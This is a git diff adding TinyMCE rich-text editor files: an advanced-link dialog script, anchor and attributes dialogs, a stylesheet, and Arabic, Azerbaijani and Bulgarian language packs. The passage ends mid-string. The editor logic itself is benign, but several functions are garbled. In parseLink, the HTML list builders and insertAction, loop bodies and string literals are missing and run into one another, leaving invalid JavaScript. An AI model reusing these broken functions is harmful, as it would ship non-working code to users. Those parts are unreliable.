inst.dom.getAttrib(elm, 'ondblclick')); + setFormValue('onmousedown', inst.dom.getAttrib(elm, 'onmousedown')); + setFormValue('onmouseup', inst.dom.getAttrib(elm, 'onmouseup')); + setFormValue('onmouseover', inst.dom.getAttrib(elm, 'onmouseover')); + setFormValue('onmousemove', inst.dom.getAttrib(elm, 'onmousemove')); + setFormValue('onmouseout', inst.dom.getAttrib(elm, 'onmouseout')); + setFormValue('onkeypress', inst.dom.getAttrib(elm, 'onkeypress')); + setFormValue('onkeydown', inst.dom.getAttrib(elm, 'onkeydown')); + setFormValue('onkeyup', inst.dom.getAttrib(elm, 'onkeyup')); + setFormValue('target', inst.dom.getAttrib(elm, 'target')); + setFormValue('classes', inst.dom.getAttrib(elm, 'class')); + + // Parse onclick data + if (onclick != null && onclick.indexOf('window.open') != -1) + parseWindowOpen(onclick); + else + parseFunction(onclick); + + // Select by the values + selectByValue(formObj, 'dir', inst.dom.getAttrib(elm, 'dir')); + selectByValue(formObj, 'rel', inst.dom.getAttrib(elm, 'rel')); + selectByValue(formObj, 'rev', inst.dom.getAttrib(elm, 'rev')); + selectByValue(formObj, 'linklisthref', href); + + if (href.charAt(0) == '#') + selectByValue(formObj, 'anchorlist', href); + + addClassesToList('classlist', 'advlink_styles'); + + selectByValue(formObj, 'classlist', inst.dom.getAttrib(elm, 'class'), true); + selectByValue(formObj, 'targetlist', inst.dom.getAttrib(elm, 'target'), true); + } else + addClassesToList('classlist', 'advlink_styles'); +} + +function checkPrefix(n) { + if (n.value && Validator.isEmail(n) && !/^\s*mailto:/i.test(n.value) && confirm(tinyMCEPopup.getLang('advlink_dlg.is_email'))) + n.value = 'mailto:' + n.value; + + if (/^\s*www\./i.test(n.value) && confirm(tinyMCEPopup.getLang('advlink_dlg.is_external'))) + n.value = 'http://' + n.value; +} + +function setFormValue(name, value) { + document.forms[0].elements[name].value = value; +} + +function parseWindowOpen(onclick) { + var formObj = document.forms[0]; + + // Preprocess center code + if (onclick.indexOf('return false;') != -1) { + formObj.popupreturn.checked = true; + onclick = onclick.replace('return false;', ''); + } else + formObj.popupreturn.checked = false; + + var onClickData = parseLink(onclick); + + if (onClickData != null) { + formObj.ispopup.checked = true; + setPopupControlsDisabled(false); + + var onClickWindowOptions = parseOptions(onClickData['options']); + var url = onClickData['url']; + + formObj.popupname.value = onClickData['target']; + formObj.popupurl.value = url; + formObj.popupwidth.value = getOption(onClickWindowOptions, 'width'); + formObj.popupheight.value = getOption(onClickWindowOptions, 'height'); + + formObj.popupleft.value = getOption(onClickWindowOptions, 'left'); + formObj.popuptop.value = getOption(onClickWindowOptions, 'top'); + + if (formObj.popupleft.value.indexOf('screen') != -1) + formObj.popupleft.value = "c"; + + if (formObj.popuptop.value.indexOf('screen') != -1) + formObj.popuptop.value = "c"; + + formObj.popuplocation.checked = getOption(onClickWindowOptions, 'location') == "yes"; + formObj.popupscrollbars.checked = getOption(onClickWindowOptions, 'scrollbars') == "yes"; + formObj.popupmenubar.checked = getOption(onClickWindowOptions, 'menubar') == "yes"; + formObj.popupresizable.checked = getOption(onClickWindowOptions, 'resizable') == "yes"; + formObj.popuptoolbar.checked = getOption(onClickWindowOptions, 'toolbar') == "yes"; + formObj.popupstatus.checked = getOption(onClickWindowOptions, 'status') == "yes"; + formObj.popupdependent.checked = getOption(onClickWindowOptions, 'dependent') == "yes"; + + buildOnClick(); + } +} + +function parseFunction(onclick) { + var formObj = document.forms[0]; + var onClickData = parseLink(onclick); + + // TODO: Add stuff here +} + +function getOption(opts, name) { + return typeof(opts[name]) == "undefined" ? "" : opts[name]; +} + +function setPopupControlsDisabled(state) { + var formObj = document.forms[0]; + + formObj.popupname.disabled = state; + formObj.popupurl.disabled = state; + formObj.popupwidth.disabled = state; + formObj.popupheight.disabled = state; + formObj.popupleft.disabled = state; + formObj.popuptop.disabled = state; + formObj.popuplocation.disabled = state; + formObj.popupscrollbars.disabled = state; + formObj.popupmenubar.disabled = state; + formObj.popupresizable.disabled = state; + formObj.popuptoolbar.disabled = state; + formObj.popupstatus.disabled = state; + formObj.popupreturn.disabled = state; + formObj.popupdependent.disabled = state; + + setBrowserDisabled('popupurlbrowser', state); +} + +function parseLink(link) { + link = link.replace(new RegExp(''', 'g'), "'"); + + var fnName = link.replace(new RegExp("\\s*([A-Za-z0-9\.]*)\\s*\\(.*", "gi"), "$1"); + + // Is function name a template function + var template = templates[fnName]; + if (template) { + // Build regexp + var variableNames = template.match(new RegExp("'?\\$\\{[A-Za-z0-9\.]*\\}'?", "gi")); + var regExp = "\\s*[A-Za-z0-9\.]*\\s*\\("; + var replaceStr = ""; + for (var i=0; i'); + for (var i=0; i' + name + ''; + } + + if (html == "") + return ""; + + html = ''; + + return html; +} + +function insertAction() { + var inst = tinyMCEPopup.editor; + var elm, elementArray, i; + + elm = inst.selection.getNode(); + checkPrefix(document.forms[0].href); + + elm = inst.dom.getParent(elm, "A"); + + // Remove element if there is no href + if (!document.forms[0].href.value) { + i = inst.selection.getBookmark(); + inst.dom.remove(elm, 1); + inst.selection.moveToBookmark(i); + tinyMCEPopup.execCommand("mceEndUndoLevel"); + tinyMCEPopup.close(); + return; + } + + // Create new anchor elements + if (elm == null) { + inst.getDoc().execCommand("unlink", false, null); + tinyMCEPopup.execCommand("mceInsertLink", false, "#mce_temp_url#", {skip_undo : 1}); + + elementArray = tinymce.grep(inst.dom.select("a"), function(n) {return inst.dom.getAttrib(n, 'href') == '#mce_temp_url#';}); + for (i=0; i' + tinyMCELinkList[i][0] + ''; + + html += ''; + + return html; + + // tinyMCE.debug('-- image list start --', html, '-- image list end --'); +} + +function getTargetListHTML(elm_id, target_form_element) { + var targets = tinyMCEPopup.getParam('theme_advanced_link_targets', '').split(';'); + var html = ''; + + html += ''; + + return html; +} + +// While loading +preinit(); +tinyMCEPopup.onInit.add(init); diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/anchor.js b/js/tiny_mce2/themes/advanced/skins/o2k7/anchor.js new file mode 100755 index 0000000..b6c5b69 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/o2k7/anchor.js @@ -0,0 +1,43 @@ +tinyMCEPopup.requireLangPack(); + +var AnchorDialog = { + init : function(ed) { + var action, elm, f = document.forms[0]; + + this.editor = ed; + elm = ed.dom.getParent(ed.selection.getNode(), 'A'); + v = ed.dom.getAttrib(elm, 'name'); + + if (v) { + this.action = 'update'; + f.anchorName.value = v; + } + + f.insert.value = ed.getLang(elm ? 'update' : 'insert'); + }, + + update : function() { + var ed = this.editor, elm, name = document.forms[0].anchorName.value; + + if (!name || !/^[a-z][a-z0-9\-\_:\.]*$/i.test(name)) { + tinyMCEPopup.alert('advanced_dlg.anchor_invalid'); + return; + } + + tinyMCEPopup.restoreSelection(); + + if (this.action != 'update') + ed.selection.collapse(1); + + elm = ed.dom.getParent(ed.selection.getNode(), 'A'); + if (elm) { + elm.setAttribute('name', name); + elm.name = name; + } else + ed.execCommand('mceInsertContent', 0, ed.dom.createHTML('a', {name : name, 'class' : 'mceItemAnchor'}, '')); + + tinyMCEPopup.close(); + } +}; + +tinyMCEPopup.onInit.add(AnchorDialog.init, AnchorDialog); diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/ar.js b/js/tiny_mce2/themes/advanced/skins/o2k7/ar.js new file mode 100755 index 0000000..9bdeef0 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/o2k7/ar.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ar.advanced',{"underline_desc":"\u062a\u062d\u062a\u0647 \u062e\u0637 (Ctrl U)","italic_desc":"\u0645\u0627\u0626\u0644 (Ctrl+I)","bold_desc":"\u0639\u0631\u064a\u0636 (Ctrl+B)",dd:"\u0627\u0644\u0648\u0635\u0641",dt:"\u062a\u0639\u0631\u064a\u0641 \u0645\u0635\u0637\u0644\u062d",samp:"Code sample",code:"\u0642\u0627\u0646\u0648\u0646",blockquote:"\u0639\u0644\u0627\u0645\u0629 \u0627\u0642\u062a\u0628\u0627\u0633 \u0641\u0642\u0631\u0629",h6:"\u0627\u0644\u0639\u0646\u0648\u0627\u0646 6",h5:"\u0627\u0644\u0639\u0646\u0648\u0627\u0646 5",h4:"\u0627\u0644\u0639\u0646\u0648\u0627\u0646 4",h3:"\u0627\u0644\u0639\u0646\u0648\u0627\u0646 3",h2:"\u0627\u0644\u0639\u0646\u0648\u0627\u0646 2",h1:"\u0627\u0644\u0639\u0646\u0648\u0627\u0646 1",pre:"\u0645\u0647\u064a\u0623 \u0645\u0633\u0628\u0642",address:"\u0627\u0644\u0639\u0646\u0648\u0627\u0646",div:"\u0627\u0644\u062f\u0631\u062c\u0629",paragraph:"\u0627\u0644\u0646\u0635",block:"\u0627\u0644\u0647\u064a\u0626\u0647",fontdefault:"\u0639\u0627\u0626\u0644\u0647 \u0627\u0644\u062e\u0637","font_size":"\u062d\u062c\u0645 \u0627\u0644\u062e\u0637","style_select":"\u0627\u0644\u0633\u0645\u0627\u062a","more_colors":"\u0627\u0644\u0645\u0632\u064a\u062f \u0645\u0646 \u0627\u0644\u0623\u0644\u0648\u0627\u0646","toolbar_focus":"\u0644\u0644\u062a\u062d\u0631\u0643 \u0627\u0644\u0633\u0631\u064a\u0639 \u0627\u0636\u063a\u0637 \u0639\u0644\u0649 \u0644\u0648\u062d\u0629 \u0627\u0644\u0645\u0641\u0627\u062a\u064a\u062d Alt Q \u0644\u0623\u0632\u0631\u0627\u0631 \u0627\u0644\u0623\u062f\u0648\u0627\u062a\u060c Alt-Z \u0644\u0644\u0645\u062d\u0631\u0631 \u060c Alt-X \u0644\u0645\u0648\u0642\u0639 \u0627\u0644\u0639\u0646\u0635\u0631",newdocument:"\u0647\u0644 \u0623\u0646\u062a \u0645\u062a\u0623\u0643\u062f \u0623\u0646\u0643 \u062a\u0631\u064a\u062f \u0645\u0633\u062d \u0643\u0627\u0641\u0629 \u0645\u062d\u062a\u0648\u064a\u0627\u062a\u061f",path:"\u0645\u0633\u0627\u0631","clipboard_msg":"\u0646\u0633\u062e/\u0642\u0635/\u0644\u0635\u0642 \u063a\u064a\u0631 \u0645\u062a\u0648\u0627\u0641\u0631 \u0641\u064a \u0641\u064a\u0631 \u0641\u0648\u0643\u0633 \u062d\u0627\u0644\u064a\u0627 \u0647\u0644 \u062a\u0631\u064a\u062f \u0627\u0646 \u062a\u0639\u0631\u0641 \u0627\u0644\u0645\u0632\u064a\u062f \u0645\u0646 \u0627\u0644\u0645\u0639\u0644\u0648\u0645\u0627\u062a\u061f","blockquote_desc":"\u0639\u0644\u0627\u0645\u0629 \u0627\u0642\u062a\u0628\u0627\u0633 \u0641\u0642\u0631\u0629","help_desc":"\u0645\u0633\u0627\u0639\u062f\u0647","newdocument_desc":"\u0645\u0633\u062a\u0646\u062f \u062c\u062f\u064a\u062f","image_props_desc":"\u062e\u0635\u0627\u0626\u0635 \u0627\u0644\u0635\u0648\u0631\u0629","paste_desc":"\u0644\u0635\u0642","copy_desc":"\u0646\u0633\u062e","cut_desc":"\u0642\u0635","anchor_desc":"\u0625\u062f\u0631\u0627\u062c / \u062a\u062d\u0631\u064a\u0631 \u0645\u0631\u0633\u0627\u0629","visualaid_desc":"\u0627\u0644\u0645\u0628\u0627\u062f\u0626 \u0627\u0644\u062a\u0648\u062c\u064a\u0647\u064a\u0629 \u062a\u0628\u062f\u064a\u0644 / \u0639\u0646\u0627\u0635\u0631 \u063a\u064a\u0631 \u0645\u0631\u0626\u064a\u0629","charmap_desc":"\u0627\u062f\u062e\u0627\u0644 \u0631\u0645\u0632 \u062c\u062f\u064a\u062f","backcolor_desc":"\u0627\u062e\u062a\u0631 \u0644\u0648\u0646 \u0627\u0644\u062e\u0644\u0641\u064a\u0647","forecolor_desc":"\u0627\u062e\u062a\u0631 \u0644\u0648\u0646 \u0627\u0644\u0646\u0635","custom1_desc":"\u0627\u062f\u062e\u0644 \u0627\u0644\u0648\u0635\u0641 \u0647\u0646","removeformat_desc":"\u0627\u0632\u0627\u0644\u0647 \u0627\u0644\u062a\u0646\u0633\u064a\u0642","hr_desc":"\u0627\u062f\u0631\u0627\u062c \u062e\u0637 \u0627\u0641\u0642\u0649","sup_desc":"\u0645\u0631\u062a\u0641\u0639","sub_desc":"\u0645\u0646\u062e\u0641\u0636","code_desc":"\u062a\u0639\u062f\u064a\u0644 \u0634\u0641\u0631\u0647 \u0627\u0644 \u0623\u062a\u0634 \u062a\u064a \u0623\u0645 \u0623\u0644","cleanup_desc":"\u062a\u0646\u0638\u064a\u0641 \u0627\u0644\u0643\u0648\u062f","image_desc":"\u0627\u0636\u0627\u0641\u0647 / \u062d\u0630\u0641 \u0635\u0648\u0631\u0647","unlink_desc":"\u062d\u0630\u0641 \u0627\u0644\u0631\u0627\u0628\u0637","link_desc":"\u0627\u0636\u0627\u0641\u0647 / \u062a\u0639\u062f\u064a\u0644 \u0631\u0627\u0628\u0637","redo_desc":"\u0627\u0644\u0625\u0639\u0627\u062f\u0629 (\u0627\u0644\u0633\u064a\u0637\u0631\u0629 + \u0635)","undo_desc":"\u062a\u0631\u0627\u062c\u0639 (\u0627\u0644\u0633\u064a\u0637\u0631\u0629 + \u0649)","indent_desc":"\u0627\u0644\u0645\u0633\u0627\u0641\u0629 \u0627\u0644\u0628\u0627\u062f\u0626\u0629","outdent_desc":"\u0625\u0646\u0642\u0627\u0635 \u0627\u0644\u0645\u0633\u0627\u0641\u0629 \u0627\u0644\u0628\u0627\u062f\u0626\u0629 \u0642\u0628\u0644","numlist_desc":"\u0642\u0627\u0626\u0645\u0629 \u0645\u0631\u062a\u0628\u0629","bullist_desc":"\u0642\u0627\u0626\u0645\u0629 \u063a\u064a\u0631 \u0645\u0631\u062a\u0628\u0629","justifyfull_desc":"\u0645\u062d\u0627\u0630\u0627\u0647 \u0643\u0644\u064a\u0647","justifyright_desc":"\u062a\u0648\u0633\u064a\u0637 \u064a\u0645\u064a\u0646","justifycenter_desc":"\u062a\u0648\u0633\u064a\u0637 \u0648\u0633\u0637","justifyleft_desc":"\u062a\u0648\u0633\u064a\u0637 \u064a\u0633\u0627\u0631","striketrough_desc":"\u062a\u0648\u0633\u064a\u0637 \u062e\u0637","help_shortcut":"\u0627\u0636\u063a\u0637 ALT-F10 \u0644\u0634\u0631\u064a\u0637 \u0627\u0644\u0627\u062f\u0648\u0627\u062a. \u0627\u0636\u063a\u0637 ALT-0 \u0644\u0644\u0645\u0633\u0627\u0639\u062f\u0647","rich_text_area":"\u0645\u0646\u0637\u0642\u0629 \u0627\u0644\u062a\u0639\u062f\u064a\u0644\u0627\u062a","shortcuts_desc":"Accessability Help",toolbar:"\u0634\u0631\u064a\u0637 \u0627\u0644\u0623\u062f\u0648\u0627\u062a","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/ar_dlg.js b/js/tiny_mce2/themes/advanced/skins/o2k7/ar_dlg.js new file mode 100755 index 0000000..9ee0c39 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/o2k7/ar_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ar.advhr_dlg',{size:"\u0627\u0644\u0627\u0631\u062a\u0641\u0627\u0639",noshade:"\u0644\u0627 \u0638\u0644",width:"\u0627\u0644\u0639\u0631\u0636",normal:"\u0627\u0644\u0637\u0628\u064a\u0639\u064a",widthunits:"\u0627\u0644\u0648\u062d\u062f\u0627\u062a"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/attributes.css b/js/tiny_mce2/themes/advanced/skins/o2k7/attributes.css new file mode 100755 index 0000000..85b1b37 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/o2k7/attributes.css @@ -0,0 +1,11 @@ +.panel_wrapper div.current { + height: 290px; +} + +#id, #style, #title, #dir, #hreflang, #lang, #classlist, #tabindex, #accesskey { + width: 200px; +} + +#events_panel input { + width: 200px; +} diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/attributes.js b/js/tiny_mce2/themes/advanced/skins/o2k7/attributes.js new file mode 100755 index 0000000..9e9b07e --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/o2k7/attributes.js @@ -0,0 +1,111 @@ +/** + * attributes.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +function init() { + tinyMCEPopup.resizeToInnerSize(); + var inst = tinyMCEPopup.editor; + var dom = inst.dom; + var elm = inst.selection.getNode(); + var f = document.forms[0]; + var onclick = dom.getAttrib(elm, 'onclick'); + + setFormValue('title', dom.getAttrib(elm, 'title')); + setFormValue('id', dom.getAttrib(elm, 'id')); + setFormValue('style', dom.getAttrib(elm, "style")); + setFormValue('dir', dom.getAttrib(elm, 'dir')); + setFormValue('lang', dom.getAttrib(elm, 'lang')); + setFormValue('tabindex', dom.getAttrib(elm, 'tabindex', typeof(elm.tabindex) != "undefined" ? elm.tabindex : "")); + setFormValue('accesskey', dom.getAttrib(elm, 'accesskey', typeof(elm.accesskey) != "undefined" ? elm.accesskey : "")); + setFormValue('onfocus', dom.getAttrib(elm, 'onfocus')); + setFormValue('onblur', dom.getAttrib(elm, 'onblur')); + setFormValue('onclick', onclick); + setFormValue('ondblclick', dom.getAttrib(elm, 'ondblclick')); + setFormValue('onmousedown', dom.getAttrib(elm, 'onmousedown')); + setFormValue('onmouseup', dom.getAttrib(elm, 'onmouseup')); + setFormValue('onmouseover', dom.getAttrib(elm, 'onmouseover')); + setFormValue('onmousemove', dom.getAttrib(elm, 'onmousemove')); + setFormValue('onmouseout', dom.getAttrib(elm, 'onmouseout')); + setFormValue('onkeypress', dom.getAttrib(elm, 'onkeypress')); + setFormValue('onkeydown', dom.getAttrib(elm, 'onkeydown')); + setFormValue('onkeyup', dom.getAttrib(elm, 'onkeyup')); + className = dom.getAttrib(elm, 'class'); + + addClassesToList('classlist', 'advlink_styles'); + selectByValue(f, 'classlist', className, true); + + TinyMCE_EditableSelects.init(); +} + +function setFormValue(name, value) { + if(value && document.forms[0].elements[name]){ + document.forms[0].elements[name].value = value; + } +} + +function insertAction() { + var inst = tinyMCEPopup.editor; + var elm = inst.selection.getNode(); + + setAllAttribs(elm); + tinyMCEPopup.execCommand("mceEndUndoLevel"); + tinyMCEPopup.close(); +} + +function setAttrib(elm, attrib, value) { + var formObj = document.forms[0]; + var valueElm = formObj.elements[attrib.toLowerCase()]; + var inst = tinyMCEPopup.editor; + var dom = inst.dom; + + if (typeof(value) == "undefined" || value == null) { + value = ""; + + if (valueElm) + value = valueElm.value; + } + + dom.setAttrib(elm, attrib.toLowerCase(), value); +} + +function setAllAttribs(elm) { + var f = document.forms[0]; + + setAttrib(elm, 'title'); + setAttrib(elm, 'id'); + setAttrib(elm, 'style'); + setAttrib(elm, 'class', getSelectValue(f, 'classlist')); + setAttrib(elm, 'dir'); + setAttrib(elm, 'lang'); + setAttrib(elm, 'tabindex'); + setAttrib(elm, 'accesskey'); + setAttrib(elm, 'onfocus'); + setAttrib(elm, 'onblur'); + setAttrib(elm, 'onclick'); + setAttrib(elm, 'ondblclick'); + setAttrib(elm, 'onmousedown'); + setAttrib(elm, 'onmouseup'); + setAttrib(elm, 'onmouseover'); + setAttrib(elm, 'onmousemove'); + setAttrib(elm, 'onmouseout'); + setAttrib(elm, 'onkeypress'); + setAttrib(elm, 'onkeydown'); + setAttrib(elm, 'onkeyup'); + + // Refresh in old MSIE +// if (tinyMCE.isMSIE5) +// elm.outerHTML = elm.outerHTML; +} + +function insertAttribute() { + tinyMCEPopup.close(); +} + +tinyMCEPopup.onInit.add(init); +tinyMCEPopup.requireLangPack(); diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/az.js b/js/tiny_mce2/themes/advanced/skins/o2k7/az.js new file mode 100755 index 0000000..1edbec2 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/o2k7/az.js @@ -0,0 +1 @@ +tinyMCE.addI18n('az.advanced',{"underline_desc":"Altdan x\u0259tt (Ctrl+U)","italic_desc":"Kursiv (Ctrl+I)","bold_desc":"Yar\u0131qal\u0131n (Ctrl+B)",dd:"Terminin m\u00fc\u0259yy\u0259n edilm\u0259si",dt:"M\u00fc\u0259yy\u0259n edil\u0259n termin",samp:"Kod n\u00fcmun\u0259si",code:"Kod",blockquote:"Sitat bloku",h6:"Ba\u015fl\u0131q 6",h5:"Ba\u015fl\u0131q 5",h4:"Ba\u015fl\u0131q 4",h3:"Ba\u015fl\u0131q 3",h2:"Ba\u015fl\u0131q 2",h1:"Ba\u015fl\u0131q 1",pre:"Formatlanm\u0131\u015f m\u0259tn",address:"\u00dcnvan",div:"B\u00f6lm\u0259",paragraph:"Abzas",block:"Format",fontdefault:"\u015erift","font_size":"\u015erift \u00f6l\u00e7\u00fc\u015f\u00fc","style_select":"Still\u0259r","image_delta_width":"65","more_colors":"Daha \u00e7ox r\u0259ng","toolbar_focus":"Alt+Q - al\u0259t d\u00fcym\u0259l\u0259rin\u0259 ke\u00e7, Alt-Z - redaktoruna ke\u00e7, Alt-X - elementl\u0259r yoluna ke\u00e7",newdocument:"\u0130\u00e7ind\u0259kil\u0259ri tam t\u0259mizl\u0259m\u0259kd\u0259 \u0259minsiniz?",path:"Yol","clipboard_msg":"Kopyalama/\u018flav\u0259 et Mozilla v\u0259 Firefox-da i\u015fl\u0259mir.\nN\u0259 ba\u015f verdiyi haqda daha \u0259trafl\u0131 \u00f6yr\u0259nm\u0259k ist\u0259yirsiniz?","blockquote_desc":"Sitat bloku","help_desc":"K\u00f6m\u0259k","newdocument_desc":"Yeni s\u0259n\u0259d","image_props_desc":"\u015e\u0259kil x\u00fcsusiyy\u0259ti","paste_desc":"\u018flav\u0259 et","copy_desc":"Kopyala","cut_desc":"K\u0259s","anchor_desc":"L\u00f6vb\u0259r \u0259lav\u0259/redakt\u0259 et","visualaid_desc":"G\u00f6nd\u0259ril\u0259n/g\u00f6r\u00fcnm\u0259z elementl\u0259ri yand\u0131r/s\u00f6nd\u00fcr","charmap_desc":"X\u00fcsusi simvol \u0259lav\u0259 et","backcolor_desc":"Fonun r\u0259ngini se\u00e7","forecolor_desc":"M\u0259tnin r\u0259ngini se\u00e7","custom1_desc":"\u00d6z t\u0259svirinizi daxil edin","removeformat_desc":"Formatlaman\u0131 l\u0259\u011fv et","hr_desc":"\u00dcf\u00fcqi x\u0259tt \u0259lav\u0259 et","sup_desc":"Yuxar\u0131 indeks","sub_desc":"A\u015fa\u011f\u0131 indeks","code_desc":"HTML-m\u0259nb\u0259ni redakt\u0259 et","cleanup_desc":"\u018fyri kodu t\u0259mizl\u0259","image_desc":"\u018flav\u0259 et/\u015f\u0259kili redakt\u0259 et","unlink_desc":"Ke\u00e7idi sil","link_desc":"\u018flav\u0259 et/ke\u00e7idi redakt\u0259 et","redo_desc":"T\u0259krarla (Ctrl+Y)","undo_desc":"L\u0259\u011fv et (Ctrl+Z)","indent_desc":"Bo\u015f yeri b\u00f6y\u00fct","outdent_desc":"Bo\u015f yeri ki\u00e7ilt","numlist_desc":"N\u00f6mr\u0259l\u0259nmi\u015f siyah\u0131","bullist_desc":"Qeyd edilmi\u015f siyah\u0131","justifyfull_desc":"Enin\u0259 d\u00fczl\u0259ndir","justifyright_desc":"Sa\u011fdan d\u00fczl\u0259ndir","justifycenter_desc":"M\u0259rk\u0259z\u0259 d\u00fczl\u0259ndir","justifyleft_desc":"Soldan d\u00fczl\u0259ndir","striketrough_desc":"Qaralanm\u0131\u015f","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","help_shortcut":"Press ALT-F10 for toolbar. Press ALT-0 for help","rich_text_area":"Rich Text Area","shortcuts_desc":"Accessability Help",toolbar:"Toolbar"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/az_dlg.js b/js/tiny_mce2/themes/advanced/skins/o2k7/az_dlg.js new file mode 100755 index 0000000..a1d0ecc --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/o2k7/az_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('az.advhr_dlg',{size:"H\u00fcnd\u00fcrl\u00fcy\u00fc",noshade:"K\u00f6lg\u0259 yoxdur",width:"Eni",normal:"Normal",widthunits:"Units"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/bg.js b/js/tiny_mce2/themes/advanced/skins/o2k7/bg.js new file mode 100755 index 0000000..6587c73 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/o2k7/bg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('bg.advanced',{"underline_desc":"\u041f\u043e\u0434\u0447\u0435\u0440\u0442\u0430\u043d (Ctrl+U)","italic_desc":"\u041a\u0443\u0440\u0441\u0438\u0432 (Ctrl+I)","bold_desc":"\u041f\u043e\u043b\u0443\u0447\u0435\u0440 (Ctrl+B)",dd:"\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u043d\u0430 \u0434\u0435\u0444\u0438\u043d\u0438\u0446\u0438\u044f",dt:"\u0414\u0435\u0444\u0438\u043d\u0438\u0446\u0438\u044f ",samp:"\u041f\u0440\u043e\u043c\u0435\u0440\u0435\u043d \u043a\u043e\u0434",code:"\u041a\u043e\u0434",blockquote:"\u0426\u0438\u0442\u0430\u0442",h6:"\u0417\u0430\u0433\u043b\u0430\u0432\u0438\u0435 6",h5:"\u0417\u0430\u0433\u043b\u0430\u0432\u0438\u0435 5",h4:"\u0417\u0430\u0433\u043b\u0430\u0432\u0438\u0435 4",h3:"\u0417\u0430\u0433\u043b\u0430\u0432\u0438\u0435 3",h2:"\u0417\u0430\u0433\u043b\u0430\u0432\u0438\u0435 2",h1:"\u0417\u0430\u0433\u043b\u0430\u0432\u0438\u0435 1",pre:"\u041f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u043d\u043e \u0444\u043e\u0440\u043c\u0430\u0442\u0438\u0440\u0430\u043d",address:"\u0410\u0434\u0440\u0435\u0441",div:"Div",paragraph:"\u041f\u0430\u0440\u0430\u0433\u0440\u0430\u0444",block:"\u0424\u043e\u0440\u043c\u0430\u0442",fontdefault:"\u0428\u0440\u0438\u0444\u0442","font_size":"\u0420\u0430\u0437\u043c\u0435\u0440 \u043d\u0430 \u0448\u0440\u0438\u0444\u0442\u0430","style_select":"\u0421\u0442\u0438\u043b\u043e\u0432\u0435","anchor_delta_height":"","more_colors":"\u041e\u0449\u0435 \u0446\u0432\u0435\u0442\u043e\u0432\u0435","toolbar_focus":"\u041e\u0442\u0438\u0434\u0438 \u043f\u0440\u0438 \u0431\u0443\u0442\u043e\u043d\u0438\u0442\u0435 - Alt+Q, \u041e\u0442\u0438\u0434\u0438 \u043f\u0440\u0438 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0430 - Alt-Z, \u041e\u0442\u0438\u0434\u0438 \u043f\u0440\u0438 \u043f\u044a\u0442\u0435\u043a\u0430\u0442\u0430 \u043d\u0430 \u0435\u043b\u0435\u043c\u0435\u043d\u0442\u0438\u0442\u0435 - Alt-X",newdocument:"\u0421\u0438\u0433\u0443\u0440\u0435\u043d \u043b\u0438 \u0441\u0442\u0435, \u0447\u0435 \u0438\u0441\u043a\u0430\u0442\u0435 \u0434\u0430 \u0438\u0437\u0447\u0438\u0441\u0442\u0438\u0442\u0435 \u0446\u044f\u043b\u043e\u0442\u043e \u0441\u044a\u0434\u044a\u0440\u0436\u0430\u043d\u0438\u0435?",path:"\u041f\u044a\u0442","clipboard_msg":"\u041a\u043e\u043f\u0438\u0440\u0430\u043d\u0435/\u041e\u0442\u0440\u044f\u0437\u0432\u0430\u043d\u0435/\u041f\u043e\u0441\u0442\u0430\u0432\u044f\u043d\u0435 \u043d\u0435 \u0435 \u0434\u043e\u0441\u0442\u044a\u043f\u043d\u043e \u043f\u043e\u0434 Mozilla \u0438 Firefox.\n\u0416\u0435\u043b\u0430\u0435\u0442\u0435 \u043b\u0438 \u043f\u043e\u0432\u0435\u0447\u0435 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u0437\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430?","blockquote_desc":"\u0426\u0438\u0442\u0430\u0442","help_desc":"\u041f\u043e\u043c\u043e\u0449","newdocument_desc":"\u041d\u043e\u0432 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442","image_props_desc":"\u0421\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u043d\u0430 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0430\u0442\u0430","paste_desc":"\u041f\u043e\u0441\u0442\u0430\u0432\u044f\u043d\u0435","copy_desc":"\u041a\u043e\u043f\u0438\u0440\u0430\u043d\u0435","cut_desc":"\u0418\u0437\u0440\u044f\u0437\u0432\u0430\u043d\u0435","anchor_desc":"\u0412\u043c\u044a\u043a\u043d\u0438/\u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u0430\u0439 \u043a\u043e\u0442\u0432\u0430","visualaid_desc":"\u0412\u043a\u043b./\u0438\u0437\u043a\u043b. \u043d\u0435\u0432\u0438\u0434\u0438\u043c\u0438\u0442\u0435 \u0435\u043b\u0435\u043c\u0435\u043d\u0442\u0438","charmap_desc":"\u0412\u043c\u044a\u043a\u043d\u0438 